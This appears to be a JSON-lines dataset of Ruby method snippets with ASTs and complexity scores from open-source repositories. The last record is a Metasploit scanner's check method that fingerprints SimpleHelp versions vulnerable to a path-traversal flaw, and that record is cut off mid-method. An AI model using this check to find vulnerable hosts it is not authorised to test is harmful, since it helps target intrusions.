{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/colors_controller.rb","start_line":66,"raw_source":"def create\n    @color = Color.new(permitted_params.color)\n\n    if @color.save\n      flash[:notice] = I18n.t(:notice_successful_create)\n      redirect_to colors_path\n    else\n      flash.now[:error] = I18n.t(:error_color_could_not_be_saved)\n      render action: :new, status: :unprocessable_entity\n    end\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@color\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Color\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"color\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@color\"]},\"save\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_create\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"colors_path\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"error_color_could_not_be_saved\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"new\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}]}","id":"5050ffd9-6864-44b3-88cd-3786a7242134"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/filtered_search_helpers.rb","start_line":140,"raw_source":"def release_token(release_tag = nil)\n    create_token('Release', release_tag)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"release_token\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"release_tag\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"create_token\",{\"type\":\"str\",\"children\":[\"Release\"]},{\"type\":\"lvar\",\"children\":[\"release_tag\"]}]}]}","id":"5a4b60e1-0bdd-4b56-b0ce-20f11297d18e"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/base.rb","start_line":211,"raw_source":"def handle_close\n          logger.info finished_request_message\n\n          server.remove_connection(self)\n\n          subscriptions.unsubscribe_from_all\n          unsubscribe_from_internal_channel\n\n          disconnect if respond_to?(:disconnect)\n        end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_close\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"send\",\"children\":[null,\"finished_request_message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server\"]},\"remove_connection\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscriptions\"]},\"unsubscribe_from_all\"]},{\"type\":\"send\",\"children\":[null,\"unsubscribe_from_internal_channel\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"disconnect\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},null]}]}]}","id":"de084c4f-47da-4394-83b1-a0c39a1ca26a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/metrics.rb","start_line":80,"raw_source":"def self.pipelines_created_counter\n          name = :pipelines_created_total\n          comment = 'Counter of pipelines created'\n\n          Gitlab::Metrics.counter(name, comment)\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pipelines_created_counter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"sym\",\"children\":[\"pipelines_created_total\"]}]},{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"str\",\"children\":[\"Counter of pipelines created\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"counter\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"comment\"]}]}]}]}","id":"f1b82806-ca82-4cf7-bdd2-0caf3a3fa8c3"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/ip_block_policy.rb","start_line":20,"raw_source":"def destroy?\n    role.can?(:manage_blocks)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_blocks\"]}]}]}","id":"ccd90785-c690-4d56-8ae1-9ad9ed7850e5"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/avatar/avatar_from_url_job.rb","start_line":79,"raw_source":"def valid_file?(file)\n    return false if file.original_filename.blank?\n\n    true\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_file?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"original_filename\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"dbe0187e-b2dc-480f-ad4d-b58997bb05ca"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/rr.rb","start_line":174,"raw_source":"def RR.parse_packet(data,offset)\n        o = allocate\n        o.send(:new_from_binary,data,offset)\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RR\"]},\"parse_packet\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"o\",{\"type\":\"send\",\"children\":[null,\"allocate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"send\",{\"type\":\"sym\",\"children\":[\"new_from_binary\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]}","id":"48d93034-beff-4769-9eef-965c61a05913"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":1504,"raw_source":"def has_active_ems?\n    return true unless ext_management_system.nil?\n\n    false\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_active_ems?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"51e68896-fb9c-4be2-b918-7f96e96855e8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/collaborator_importer.rb","start_line":46,"raw_source":"def mapped_to_project_bot?(user_id)\n          ::User.find_by_id(user_id)&.project_bot?\n        end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"mapped_to_project_bot?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"User\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},\"project_bot?\"]}]}","id":"01e64b33-ed78-427f-a080-9c7690eff440"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/regular/export_user_archive.rb","start_line":347,"raw_source":"def category_preferences_export\n      return enum_for(:category_preferences_export) unless block_given?\n\n      CategoryUser\n        .where(user_id: @archive_for_user.id)\n        .includes(:category)\n        .merge(Category.secured(guardian))\n        .each do |cu|\n          yield(\n            [\n              cu.category_id,\n              piped_category_name(cu.category_id, cu.category),\n              NotificationLevels.all[cu.notification_level],\n              cu.last_seen_at,\n            ]\n          )\n        end\n    end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"category_preferences_export\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enum_for\",{\"type\":\"sym\",\"children\":[\"category_preferences_export\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CategoryUser\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@archive_for_user\"]},\"id\"]}]}]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"category\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"secured\",{\"type\":\"send\",\"children\":[null,\"guardian\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cu\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cu\"]},\"category_id\"]},{\"type\":\"send\",\"children\":[null,\"piped_category_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cu\"]},\"category_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cu\"]},\"category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationLevels\"]},\"all\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cu\"]},\"notification_level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cu\"]},\"last_seen_at\"]}]}]}]}]}]}","id":"b313069d-0af7-4565-99d4-c35134625fd7"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/meeting_sections_controller.rb","start_line":43,"raw_source":"def edit\n    if @meeting_section.editable?\n      update_section_header_via_turbo_stream(state: :edit)\n    else\n      update_all_via_turbo_stream\n      render_error_flash_message_via_turbo_stream(message: t(\"text_meeting_not_editable_anymore\"))\n    end\n\n    respond_with_turbo_streams\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"edit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting_section\"]},\"editable?\"]},{\"type\":\"send\",\"children\":[null,\"update_section_header_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"sym\",\"children\":[\"edit\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_all_via_turbo_stream\"]},{\"type\":\"send\",\"children\":[null,\"render_error_flash_message_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"text_meeting_not_editable_anymore\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"respond_with_turbo_streams\"]}]}]}","id":"51322139-d2a6-47ef-8459-44fe98fa858f"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/helpers/saml_authentication_helper.rb","start_line":2,"raw_source":"def saml_user_attempting_password_auth?(email, sso_auth_token: nil)\n    return false if email.blank?\n\n    user = User.from_email(email)\n    return false unless user&.provider == 'saml'\n\n    return false if sso_auth_token.present? && user.valid_sso_auth_token?(sso_auth_token)\n\n    true\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"saml_user_attempting_password_auth?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]},{\"type\":\"kwoptarg\",\"children\":[\"sso_auth_token\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"from_email\",{\"type\":\"lvar\",\"children\":[\"email\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"provider\"]},\"==\",{\"type\":\"str\",\"children\":[\"saml\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sso_auth_token\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"valid_sso_auth_token?\",{\"type\":\"lvar\",\"children\":[\"sso_auth_token\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"d1612b85-de84-4869-8b4b-8b9ff4d5fcab"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/spec/services/visits/group_spec.rb","start_line":42,"raw_source":"def time_formatter(time)\n    Time.zone.at(time).strftime('%Y-%m-%d %H:%M')\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"time_formatter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"lvar\",\"children\":[\"time\"]}]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d %H:%M\"]}]}]}","id":"719f3bed-8149-463f-b692-8b22356bd27b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/setting.rb","start_line":113,"raw_source":"def expire_cache\n    Rails.cache.delete(cache_key)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expire_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"delete\",{\"type\":\"send\",\"children\":[null,\"cache_key\"]}]}]}","id":"f80b671e-6316-474b-afdb-9c148c8cb785"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/cache.rb","start_line":937,"raw_source":"def handle_invalid_expires_in(message)\n          error = ArgumentError.new(message)\n          if ActiveSupport::Cache::Store.raise_on_invalid_cache_expiration_time\n            raise error\n          else\n            ActiveSupport.error_reporter&.report(error, handled: true, severity: :warning)\n            logger.error(\"#{error.class}: #{error.message}\") if logger\n          end\n        end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_invalid_expires_in\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Cache\"]},\"Store\"]},\"raise_on_invalid_cache_expiration_time\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"error_reporter\"]},\"report\",{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"handled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"severity\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]},null]}]}]}]}]}","id":"0c13dd58-2d61-447e-b801-d78e6345564f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20180808175627_create_account_pins.rb","start_line":4,"raw_source":"def change\n    create_table :account_pins do |t|\n      t.belongs_to :account, foreign_key: { on_delete: :cascade }\n      t.belongs_to :target_account, foreign_key: { on_delete: :cascade, to_table: :accounts }\n\n      t.timestamps\n    end\n\n    add_index :account_pins, [:account_id, :target_account_id], unique: true\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"account_pins\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"belongs_to\",{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"belongs_to\",{\"type\":\"sym\",\"children\":[\"target_account\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_table\"]},{\"type\":\"sym\",\"children\":[\"accounts\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"account_pins\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"sym\",\"children\":[\"target_account_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"0459cb17-ce54-47d2-b2e9-12d163b52eb7"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/db/migrate/20250211130824_rename_max_rows_synced_limit_in_billing_plans.rb","start_line":2,"raw_source":"def change\n    safety_assured do\n      rename_column :billing_plans, :max_rows_synced_limit, :max_rows_synced\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"sym\",\"children\":[\"billing_plans\"]},{\"type\":\"sym\",\"children\":[\"max_rows_synced_limit\"]},{\"type\":\"sym\",\"children\":[\"max_rows_synced\"]}]}]}]}","id":"59e911af-ca01-483d-9ff8-5abde3db2967"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/labels_importer.rb","start_line":15,"raw_source":"def execute\n          rows, validation_errors = build_labels\n\n          bulk_insert(rows)\n          bulk_insert_failures(validation_errors) if validation_errors.any?\n          build_labels_cache\n        end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rows\"]},{\"type\":\"lvasgn\",\"children\":[\"validation_errors\"]}]},{\"type\":\"send\",\"children\":[null,\"build_labels\"]}]},{\"type\":\"send\",\"children\":[null,\"bulk_insert\",{\"type\":\"lvar\",\"children\":[\"rows\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validation_errors\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"bulk_insert_failures\",{\"type\":\"lvar\",\"children\":[\"validation_errors\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"build_labels_cache\"]}]}]}","id":"942c19fd-371f-4f2d-a932-9ae68f9c5d3a"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/renderer/collection_renderer.rb","start_line":182,"raw_source":"def collection_with_template(view, template, layout, collection)\n        locals = @locals\n        cache = {}\n\n        partial_iteration = PartialIteration.new(collection.size)\n\n        collection.each_with_info.map do |object, (path, as, counter, iteration)|\n          index = partial_iteration.index\n\n          locals[as]        = object\n          locals[counter]   = index\n          locals[iteration] = partial_iteration\n\n          _template = (cache[path] ||= (template || find_template(path, @locals.keys + [as, counter, iteration])))\n\n          content = _template.render(view, locals, implicit_locals: [counter, iteration])\n          content = layout.render(view, locals) { content } if layout\n          partial_iteration.iterate!\n          build_rendered_template(content, _template)\n        end\n      end","complexity_score":36.7,"ast_json":"{\"type\":\"def\",\"children\":[\"collection_with_template\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"view\"]},{\"type\":\"arg\",\"children\":[\"template\"]},{\"type\":\"arg\",\"children\":[\"layout\"]},{\"type\":\"arg\",\"children\":[\"collection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"locals\",{\"type\":\"ivar\",\"children\":[\"@locals\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cache\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"partial_iteration\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PartialIteration\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"size\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"each_with_info\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"as\"]},{\"type\":\"arg\",\"children\":[\"counter\"]},{\"type\":\"arg\",\"children\":[\"iteration\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partial_iteration\"]},\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locals\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"as\"]},{\"type\":\"lvar\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locals\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"counter\"]},{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locals\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"iteration\"]},{\"type\":\"lvar\",\"children\":[\"partial_iteration\"]}]},{\"type\":\"lvasgn\",\"children\":[\"_template\",{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"send\",\"children\":[null,\"find_template\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@locals\"]},\"keys\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"as\"]},{\"type\":\"lvar\",\"children\":[\"counter\"]},{\"type\":\"lvar\",\"children\":[\"iteration\"]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_template\"]},\"render\",{\"type\":\"lvar\",\"children\":[\"view\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"implicit_locals\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counter\"]},{\"type\":\"lvar\",\"children\":[\"iteration\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"layout\"]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"layout\"]},\"render\",{\"type\":\"lvar\",\"children\":[\"view\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partial_iteration\"]},\"iterate!\"]},{\"type\":\"send\",\"children\":[null,\"build_rendered_template\",{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"_template\"]}]}]}]}]}]}","id":"5a0331b3-0af0-4939-b552-33b094fa0f52"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/simplehelp_toolbox_path_traversal.rb","start_line":54,"raw_source":"def check\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'allversions')\n    )\n\n    return Exploit::CheckCode::Unknown('Unable to retrieve SimpleHelp version.') unless res&.body =~ /Visual Version:\\s*(\\d+\\.\\d+(?:\\.\\d+))/\n\n    version = Rex::Version.new(Regexp.last_match(1))\n\n    # Patched versions are: 5.5.8 or 5.4.10 or 5.3.9\n    if version.between?(Rex::Version.new('5.5.0'), Rex::Version.new('5.5.7')) ||\n       version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.4.9')) ||\n       version.between?(Rex::Version.new('5.3.0'), Rex::Version.new('5.3.8'))\n      return Exploit::CheckCode::Appears(\"Version detected: #{version}\")\n    end\n\n    Exploit::CheckCode::Safe(\"Version detected: #{version}\")\n  